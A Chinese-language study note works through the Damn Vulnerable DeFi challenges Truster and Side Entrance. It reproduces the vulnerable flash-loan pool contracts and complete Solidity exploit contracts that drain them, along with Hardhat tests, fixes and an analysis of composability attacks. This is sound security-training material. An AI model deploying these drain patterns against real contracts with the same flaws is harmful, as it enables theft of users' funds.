返回 SC 笔记
SC Day 70

DVDF #3 Truster + #4 Side Entrance

### 1. Composability(可组合性)作为攻击面

2026-06-20
第三阶段:安全审计
damn-vulnerable-defiflash-loantrusterside-entrancecomposability-attack

日期: 2026-06-20 方向: Solidity / Security 阶段: 第三阶段:安全审计 标签: #damn-vulnerable-defi #flash-loan #truster #side-entrance #composability-attack


今日目标

类型内容
学习深入理解DVDF #3 Truster(回调函数中的approve攻击)和 #4 Side Entrance(利用flash loan绕过内部记账)
实操编写两道题的完整exploit代码,分析攻击策略
产出两个exploit + composability作为攻击面的深度分析

核心概念

1. Composability(可组合性)作为攻击面

DeFi最强大的特性之一是可组合性——协议之间可以像乐高积木一样自由组合。但这也创造了巨大的攻击面:

正面:用户可以在一个交易中完成 Borrow → Swap → Stake → Repay
负面:攻击者可以在一个交易中完成 Flash Loan → Manipulate → Exploit → Repay

今天的两道DVDF题目完美展示了这一点:

  • Truster (#3):闪电贷合约允许借款者执行任意外部调用(callback),攻击者利用这个callback来approve自己
  • Side Entrance (#4):闪电贷合约的deposit函数不区分"自有资金"和"借来的资金",攻击者用借来的钱deposit,然后withdraw

两者的共同主题是:当协议的不同功能被组合使用时,原本安全的逻辑可能被绕过

2. Flash Loan回顾

Flash Loan(闪电贷)允许用户在同一交易内借出任意金额,只要在交易结束时归还。如果未归还,整个交易回滚。

一个正常的Flash Loan交易:
1. 用户调用 flashLoan(amount)
2. 合约将 amount 发送给用户
3. 合约调用用户的回调函数
4. 用户在回调中做任何事(套利、清算等)
5. 合约检查余额是否恢复
6. 如果余额不足 → revert
7. 如果余额足够 → 交易成功

关键:步骤3中"用户可以做任何事"是攻击的核心入口

DVDF #3: Truster

题目分析

合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {
    using Address for address;

    DamnValuableToken public immutable token;

    error RepayFailed();

    constructor(DamnValuableToken _token) {
        token = _token;
    }

    function flashLoan(
        uint256 amount,
        address borrower,
        address target,
        bytes calldata data
    ) external nonReentrant returns (bool) {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore)
            revert RepayFailed();

        return true;
    }
}

漏洞分析

关键问题在 flashLoan 函数中的这一行:

target.functionCall(data);

这里 targetdata 都是用户可控的。攻击者可以指定任意地址和任意calldata来执行。特别是,攻击者可以让Pool以自己的身份调用任意合约的任意函数。

由于 target.functionCall(data)msg.senderPool 合约本身,攻击者可以让Pool调用Token合约的 approve 函数,将Pool的所有Token授权给攻击者。

攻击步骤:

1. 调用 flashLoan(0, attacker, tokenAddress, approve(attacker, type(uint256).max))
   - amount = 0(不需要实际借款,因为我们的目的不是借款)
   - borrower = attacker(无关紧要)
   - target = token合约地址
   - data = abi.encodeWithSignature("approve(address,uint256)", attacker, MAX_UINT256)

2. Pool执行 token.transfer(borrower, 0) — 转0个Token,无影响
3. Pool执行 target.functionCall(data) — 即Pool调用 token.approve(attacker, MAX)
   - 此时 msg.sender 是 Pool,所以Pool授权了attacker无限额度
4. Pool检查余额 — 余额没变(因为只借了0),检查通过
5. 攻击者现在拥有对Pool所有Token的approve权限
6. 攻击者调用 token.transferFrom(pool, attacker, pool的全部余额)

Exploit代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableToken.sol";
import "./TrusterLenderPool.sol";

/**
 * @title TrusterExploit
 * @notice Exploits the TrusterLenderPool by using the arbitrary function call
 *         to approve the attacker for all pool tokens.
 */
contract TrusterExploit {
    TrusterLenderPool public immutable pool;
    DamnValuableToken public immutable token;
    address public immutable attacker;

    constructor(
        TrusterLenderPool _pool,
        DamnValuableToken _token,
        address _attacker
    ) {
        pool = _pool;
        token = _token;
        attacker = _attacker;
    }

    function attack() external {
        // Step 1: 构造approve调用数据
        // 让Pool以自己的身份调用 token.approve(address(this), MAX)
        bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)",
            address(this),       // 授权给本合约
            type(uint256).max    // 无限额度
        );

        // Step 2: 调用flashLoan,amount=0
        // target = token合约,data = approve调用
        pool.flashLoan(
            0,                    // 借0个Token
            address(this),        // borrower(无关紧要)
            address(token),       // target = Token合约
            data                  // data = approve(this, MAX)
        );

        // Step 3: 此时Pool已经approve了本合约
        // 直接transferFrom转走所有Token
        uint256 poolBalance = token.balanceOf(address(pool));
        token.transferFrom(address(pool), attacker, poolBalance);
    }
}

更精简的版本(一个交易完成所有操作):

contract TrusterExploitSimple {
    function attack(
        TrusterLenderPool pool,
        DamnValuableToken token
    ) external {
        // 让Pool approve msg.sender
        pool.flashLoan(
            0,
            msg.sender,
            address(token),
            abi.encodeWithSignature(
                "approve(address,uint256)",
                msg.sender,
                type(uint256).max
            )
        );

        // 转走所有Token
        token.transferFrom(
            address(pool),
            msg.sender,
            token.balanceOf(address(pool))
        );
    }
}

测试代码

// test/truster.challenge.js (Hardhat)
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Truster Challenge", function () {
    let deployer, player;
    let token, pool;

    const TOKENS_IN_POOL = ethers.parseEther("1000000");

    before(async function () {
        [deployer, player] = await ethers.getSigners();

        // Deploy token and pool
        token = await (await ethers.getContractFactory("DamnValuableToken")).deploy();
        pool = await (await ethers.getContractFactory("TrusterLenderPool")).deploy(token.target);

        // Fund pool
        await token.transfer(pool.target, TOKENS_IN_POOL);
        expect(await token.balanceOf(pool.target)).to.equal(TOKENS_IN_POOL);
        expect(await token.balanceOf(player.address)).to.equal(0);
    });

    it("Execution", async function () {
        // Deploy exploit
        const exploit = await (await ethers.getContractFactory("TrusterExploitSimple"))
            .connect(player)
            .deploy();

        // Execute attack
        await exploit.connect(player).attack(pool.target, token.target);
    });

    after(async function () {
        // Verify: player has all tokens
        expect(await token.balanceOf(player.address)).to.equal(TOKENS_IN_POOL);
        expect(await token.balanceOf(pool.target)).to.equal(0);
    });
});

修复建议

// 方案1: 移除任意调用能力,改为标准回调接口
interface IFlashLoanReceiver {
    function onFlashLoan(
        address initiator,
        uint256 amount,
        uint256 fee
    ) external returns (bytes32);
}

function flashLoan(uint256 amount) external nonReentrant {
    uint256 balanceBefore = token.balanceOf(address(this));

    token.transfer(msg.sender, amount);

    // 只调用borrower自己的回调,不允许指定任意target
    require(
        IFlashLoanReceiver(msg.sender).onFlashLoan(
            msg.sender, amount, 0
        ) == keccak256("ERC3156FlashBorrower.onFlashLoan"),
        "Invalid callback return"
    );

    require(token.balanceOf(address(this)) >= balanceBefore, "Repay failed");
}

// 方案2: 如果必须保留target参数,至少限制不能调用token合约
function flashLoan(uint256 amount, address target, bytes calldata data) external {
    require(target != address(token), "Cannot call token contract");
    // ...
}

DVDF #4: Side Entrance

题目分析

合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    mapping(address => uint256) private balances;

    error RepayFailed();

    event Deposit(address indexed who, uint256 amount);
    event Withdraw(address indexed who, uint256 amount);

    function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        delete balances[msg.sender];
        SafeTransferLib.safeTransferETH(msg.sender, amount);
        emit Withdraw(msg.sender, amount);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore)
            revert RepayFailed();
    }
}

漏洞分析

这道题的核心漏洞在于内部记账和余额检查的不一致

flashLoan 函数检查的是合约的ETH余额:

if (address(this).balance < balanceBefore)  // 检查ETH总余额

deposit 函数增加的是内部mapping:

balances[msg.sender] += msg.value;  // 增加内部记账

攻击者可以:

  1. 借出所有ETH(通过flashLoan)
  2. 在回调中,将借来的ETH通过 deposit() 存回Pool
  3. deposit 会增加攻击者的 balances 记录
  4. Pool检查 address(this).balance >= balanceBefore —— 通过!(因为ETH确实回来了)
  5. 但现在攻击者的 balances 中有了"合法"的存款记录
  6. 攻击者调用 withdraw() 把所有ETH取走
初始状态:
  Pool ETH balance = 1000 ETH
  balances[attacker] = 0

Step 1: flashLoan(1000 ETH)
  Pool发送1000 ETH给attacker
  Pool ETH balance = 0

Step 2: attacker在execute()回调中调用deposit{value: 1000 ETH}()
  ETH回到Pool
  Pool ETH balance = 1000 ETH
  balances[attacker] = 1000 ETH  ← 关键!

Step 3: flashLoan检查 address(this).balance >= balanceBefore
  1000 >= 1000 ✓ 通过!

Step 4: attacker调用withdraw()
  Pool发送1000 ETH给attacker
  balances[attacker] = 0
  Pool ETH balance = 0

结果:攻击者无成本获得了Pool的所有ETH

Exploit代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./SideEntranceLenderPool.sol";

/**
 * @title SideEntranceExploit
 * @notice Exploits the Side Entrance pool by depositing flash-loaned ETH
 *         back into the pool during the callback, then withdrawing it.
 *
 * The key insight: the flash loan checks address(this).balance,
 * but deposit() credits balances[msg.sender]. By depositing the
 * borrowed ETH, we satisfy the balance check while creating a
 * legitimate withdrawal claim.
 */
contract SideEntranceExploit is IFlashLoanEtherReceiver {
    SideEntranceLenderPool public immutable pool;
    address public immutable attacker;

    constructor(SideEntranceLenderPool _pool, address _attacker) {
        pool = _pool;
        attacker = _attacker;
    }

    /// @notice Initiate the attack
    function attack() external {
        // Step 1: Flash loan所有ETH
        uint256 poolBalance = address(pool).balance;
        pool.flashLoan(poolBalance);

        // Step 3 (在execute回调后): 取出所有"存款"
        pool.withdraw();

        // Step 4: 将ETH发送给attacker
        (bool success, ) = attacker.call{value: address(this).balance}("");
        require(success, "Transfer failed");
    }

    /// @notice Flash loan回调
    function execute() external payable override {
        // Step 2: 将借来的ETH通过deposit存回Pool
        // 这样Pool的ETH余额恢复了(满足flashLoan的检查)
        // 同时我们在balances mapping中获得了存款记录
        pool.deposit{value: msg.value}();
    }

    /// @notice 接收ETH
    receive() external payable {}
}

测试代码

// test/side-entrance.challenge.js
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Side Entrance Challenge", function () {
    let deployer, player;
    let pool;

    const ETHER_IN_POOL = 1000n * 10n ** 18n;
    const PLAYER_INITIAL_ETH_BALANCE = 1n * 10n ** 18n;

    before(async function () {
        [deployer, player] = await ethers.getSigners();

        // Deploy pool and fund it
        pool = await (await ethers.getContractFactory("SideEntranceLenderPool"))
            .deploy();
        await pool.deposit({ value: ETHER_IN_POOL });

        expect(await ethers.provider.getBalance(pool.target)).to.equal(ETHER_IN_POOL);
    });

    it("Execution", async function () {
        // Deploy exploit contract
        const exploit = await (await ethers.getContractFactory("SideEntranceExploit"))
            .connect(player)
            .deploy(pool.target, player.address);

        // Execute attack
        await exploit.connect(player).attack();
    });

    after(async function () {
        // Verify: pool is drained
        expect(await ethers.provider.getBalance(pool.target)).to.equal(0);

        // Verify: player has the ETH
        expect(await ethers.provider.getBalance(player.address)).to.be.gt(
            ETHER_IN_POOL + PLAYER_INITIAL_ETH_BALANCE - ethers.parseEther("0.2") // gas tolerance
        );
    });
});

修复建议

// 方案1: 在flashLoan期间禁止deposit
bool private _flashLoanActive;

function deposit() external payable {
    require(!_flashLoanActive, "Cannot deposit during flash loan");
    balances[msg.sender] += msg.value;
    emit Deposit(msg.sender, msg.value);
}

function flashLoan(uint256 amount) external {
    uint256 balanceBefore = address(this).balance;
    _flashLoanActive = true;

    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

    _flashLoanActive = false;
    if (address(this).balance < balanceBefore)
        revert RepayFailed();
}

// 方案2: 使用内部记账而非ETH余额做检查
function flashLoan(uint256 amount) external {
    uint256 totalDepositsBefore = totalDeposits; // 内部追踪的总存款

    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

    // 检查内部记账没有因为deposit增加
    // 同时检查ETH余额
    require(
        address(this).balance >= totalDepositsBefore + amount &&
        totalDeposits == totalDepositsBefore,
        "Repay failed"
    );
}

// 方案3: flash loan前后的余额差必须通过直接transfer补回
function flashLoan(uint256 amount) external {
    uint256 balanceBefore = address(this).balance;
    uint256 depositsBefore = totalDeposits;

    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

    // 余额恢复但存款记录不应增加
    require(address(this).balance >= balanceBefore, "Balance not restored");
    require(totalDeposits == depositsBefore, "No deposits during flash loan");
}

深度分析:Composability作为攻击面

为什么这两个漏洞本质相同

Truster和Side Entrance看起来不同,但攻击的根本原因是一样的:合约在执行外部回调时,没有正确约束回调可以做什么

Truster:
  - 合约允许借款者指定任意target和data
  - 借款者让合约以自己的身份执行了approve
  - 合约没有意识到它刚刚授权了自己的资金

Side Entrance:
  - 合约允许借款者在回调中执行任何操作(包括调用合约自身的deposit)
  - 借款者将借来的资金deposit回去
  - 合约没有意识到"还款"和"存款"用的是同一笔钱

两者的共同模式:回调中的操作改变了合约的状态,但合约的安全检查没有考虑到这种状态变化

Composability攻击的通用模式

1. 调用目标协议的某个功能(如flash loan)
2. 在回调/中间状态中,调用同一协议或其他协议的功能
3. 中间调用改变了某些状态/余额
4. 原始功能的安全检查无法检测到这种状态变化
5. 攻击者从不一致的状态中获利

防御composability攻击的设计原则

原则说明示例
最小权限回调回调只允许做必要的事不允许指定任意target
内部一致性检查检查内部状态变化,而非仅外部余额检查totalDeposits没有变化
互斥锁在敏感操作期间禁止其他操作flash loan期间禁止deposit
快照对比记录操作前后的完整状态快照比较所有相关mapping的变化
分离关注点还款机制和存款机制使用不同路径flash loan还款通过专用repay函数

关键要点总结

Truster (#3) 的教训

  1. 永远不要允许任意外部调用target.functionCall(data) 中如果target和data都用户可控,等于给了用户以合约身份执行任何操作的能力
  2. Flash loan回调应使用标准接口:ERC-3156定义了标准的flash loan回调接口,限制了回调的灵活性但提高了安全性
  3. approve是隐性的资金转移:approve不直接转移资金,但效果等同于给了对方取款权

Side Entrance (#4) 的教训

  1. 余额检查 != 安全:仅检查ETH余额(address(this).balance)不足以保证安全,因为"归还"的方式可能不是直接转账
  2. 内部记账和外部余额要一致:当合约同时使用内部mapping和外部余额时,要确保两者的一致性不被破坏
  3. Flash loan期间的合约状态是危险的:在flash loan的回调执行期间,合约处于一个"中间状态",不应允许任何可能利用这个中间状态的操作

通用教训

  1. 想清楚回调能做什么:每当合约将控制权交给外部代码(回调、delegate call、external call),都要想清楚外部代码可能做什么,以及它做了那些事之后合约的安全假设是否仍然成立
  2. "没有直接资金损失"不等于"安全":Truster中amount=0看起来无害,但通过approve间接获得了资金控制权
  3. 组合漏洞比单点漏洞更常见:现实中的DeFi攻击很少是单个函数的bug,更多是多个函数/协议组合使用时产生的问题

常见误区

误区1:"Flash loan只要检查了余额恢复就是安全的"

Side Entrance完美地反驳了这一点。余额可能通过非预期的路径(如deposit)恢复,但内部状态已经被改变了。安全的flash loan需要检查:(1) 外部余额恢复 (2) 内部状态没有被非预期地修改。

误区2:"borrower不能用借来的钱做任何危险的事,因为要归还"

这是对flash loan最大的误解。借来的资金在回调期间是真实的——可以用来投票、提供流动性、操纵价格、触发清算。只要在交易结束时归还即可。"临时拥有大量资金"本身就是一种攻击能力。

误区3:"amount=0的flash loan是无害的"

Truster中,攻击者借0个Token。在传统思维中,借0个Token不应该有任何影响。但问题不在于借款本身,而在于借款过程中发生的事(任意函数调用)。永远不要假设参数为0就是安全的——检查函数在参数为0时的完整执行路径。

误区4:"nonReentrant可以防止所有callback攻击"

Truster确实使用了 nonReentrant,但它防止的是重入同一个函数。它无法防止在回调中调用其他合约(如Token的approve)。nonReentrant 是必要的但不充分的安全措施。


面试关联

Q1: "解释Flash Loan的安全风险"

简短回答: Flash Loan允许攻击者在单个交易中获得任意大的资金。核心风险不是借款本身(因为必须归还),而是在回调过程中,攻击者可以用借来的资金操纵价格、投票权重或其他依赖余额/供应量的系统。

详细回答: 两个主要的攻击向量:(1) 回调中的权限操作——如Truster中利用任意调用能力approve自己,这不需要归还任何资金;(2) 绕过记账逻辑——如Side Entrance中将借来的资金deposit回去,满足余额检查但创造了虚假的存款记录。防御方式包括:限制回调的能力(标准化接口)、在flash loan期间锁定状态修改、检查内部记账而非仅外部余额。

Q2: "DeFi的可组合性如何导致安全问题?"

回答: 可组合性意味着协议A的功能可以被协议B调用,两个单独安全的协议组合后可能产生漏洞。典型场景:协议A的flash loan + 协议B的价格oracle = 价格操纵攻击。设计时需要考虑"如果我的合约被从另一个合约调用"的场景,特别是在callback期间的状态一致性。

Q3: "作为产品经理,你如何看待Flash Loan这个功能?"

回答: Flash Loan是DeFi最具创新性也最具争议性的功能。从产品角度,它降低了套利和清算的门槛(无需本金),提高了市场效率。但它也大幅降低了攻击的经济门槛(攻击者无需持有大量资金)。作为PM,我会在以下场景支持flash loan:套利、清算、一键去杠杆等用户导向的功能。但必须确保协议自身的安全逻辑不依赖"攻击者需要大量资金"这个假设——因为flash loan消除了这个前提。


参考资源

资源说明
DVDF官方完整题目和测试环境
ERC-3156: Flash LoansFlash Loan标准接口
Flash Loan Attack CompendiumImmunefi上的真实Flash Loan攻击案例
Aave Flash Loan文档生产级Flash Loan实现
Composability is the Attack SurfaceImmunefi关于组合性攻击的分析
Solidity by Example: Reentrancy相关攻击模式